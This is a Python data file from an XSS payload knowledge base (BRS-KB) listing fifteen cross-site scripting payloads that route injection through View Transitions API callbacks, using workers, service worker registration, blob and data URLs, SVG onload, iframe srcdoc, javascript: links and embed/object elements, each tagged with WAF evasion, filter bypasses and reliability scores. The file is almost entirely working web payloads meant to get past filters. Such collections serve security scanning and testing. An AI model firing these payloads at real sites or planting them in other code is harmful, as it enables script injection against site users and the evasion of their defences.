#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

View Transitions API XSS Payloads - Part 2
Advanced techniques: Workers, Service Workers, Blob URLs, data URLs, SVG, iframe, form, and element manipulation.
"""

from ..models import PayloadEntry


VIEW_TRANSITIONS_API_PAYLOADS_PART2 = {
    "view-transitions-callback-broadcast": PayloadEntry(
        payload="document.startViewTransition(()=>{c=new BroadcastChannel('x');c.postMessage('<script>alert(1)</script>')})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with BroadcastChannel",
        tags=["view-transitions", "broadcast", "2024"],
        bypasses=["channel_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="medium",
    ),
    "view-transitions-callback-worker": PayloadEntry(
        payload="document.startViewTransition(()=>new Worker('data:text/javascript,postMessage(alert(1))'))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with Worker",
        tags=["view-transitions", "worker", "2024"],
        bypasses=["worker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-sharedWorker": PayloadEntry(
        payload="document.startViewTransition(()=>new SharedWorker('data:text/javascript,onconnect=e=>e.ports[0].postMessage(alert(1))'))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with SharedWorker",
        tags=["view-transitions", "sharedworker", "2024"],
        bypasses=["worker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-serviceWorker": PayloadEntry(
        payload="document.startViewTransition(()=>navigator.serviceWorker.register('data:text/javascript,self.oninstall=()=>alert(1)'))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with ServiceWorker registration",
        tags=["view-transitions", "serviceworker", "2024"],
        bypasses=["sw_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="medium",
    ),
    "view-transitions-callback-blob": PayloadEntry(
        payload="document.startViewTransition(()=>{b=new Blob(['<script>alert(1)</script>'],{type:'text/html'});open(URL.createObjectURL(b))})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with Blob URL",
        tags=["view-transitions", "blob", "objecturl", "2024"],
        bypasses=["blob_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-dataURL": PayloadEntry(
        payload="document.startViewTransition(()=>open('data:text/html,<script>alert(1)</script>'))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with data URL",
        tags=["view-transitions", "data-url", "2024"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-base64": PayloadEntry(
        payload="document.startViewTransition(()=>open('data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with base64 data URL",
        tags=["view-transitions", "base64", "data-url", "2024"],
        bypasses=["base64_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-svg": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.innerHTML='<svg onload=alert(1)>')",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with SVG injection",
        tags=["view-transitions", "svg", "onload", "2024"],
        bypasses=["svg_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-iframe": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.appendChild(document.createElement('iframe')).srcdoc='<script>alert(1)</script>')",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with iframe srcdoc",
        tags=["view-transitions", "iframe", "srcdoc", "2024"],
        bypasses=["iframe_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-form": PayloadEntry(
        payload="document.startViewTransition(()=>{f=document.createElement('form');f.action='javascript:alert(1)';f.submit()})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with form submission",
        tags=["view-transitions", "form", "javascript-protocol", "2024"],
        bypasses=["form_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-anchor": PayloadEntry(
        payload="document.startViewTransition(()=>{a=document.createElement('a');a.href='javascript:alert(1)';a.click()})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with anchor click",
        tags=["view-transitions", "anchor", "javascript-protocol", "2024"],
        bypasses=["anchor_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-meta": PayloadEntry(
        payload="document.startViewTransition(()=>{m=document.createElement('meta');m.httpEquiv='refresh';m.content='0;url=javascript:alert(1)';document.head.appendChild(m)})",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with meta refresh",
        tags=["view-transitions", "meta", "refresh", "2024"],
        bypasses=["meta_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-link": PayloadEntry(
        payload="document.startViewTransition(()=>{l=document.createElement('link');l.rel='import';l.href='data:text/html,<script>alert(1)</script>';document.head.appendChild(l)})",
        contexts=["javascript"],
        severity="medium",
        cvss_score=6.5,
        description="View Transitions callback with link import (deprecated)",
        tags=["view-transitions", "link", "import", "deprecated", "2024"],
        bypasses=["link_filters"],
        waf_evasion=True,
        browser_support=["chrome"],
        reliability="low",
    ),
    "view-transitions-callback-embed": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.appendChild(document.createElement('embed')).src='data:text/html,<script>alert(1)</script>')",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with embed element",
        tags=["view-transitions", "embed", "2024"],
        bypasses=["embed_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-object": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.appendChild(document.createElement('object')).data='data:text/html,<script>alert(1)</script>')",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with object element",
        tags=["view-transitions", "object", "2024"],
        bypasses=["object_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
}
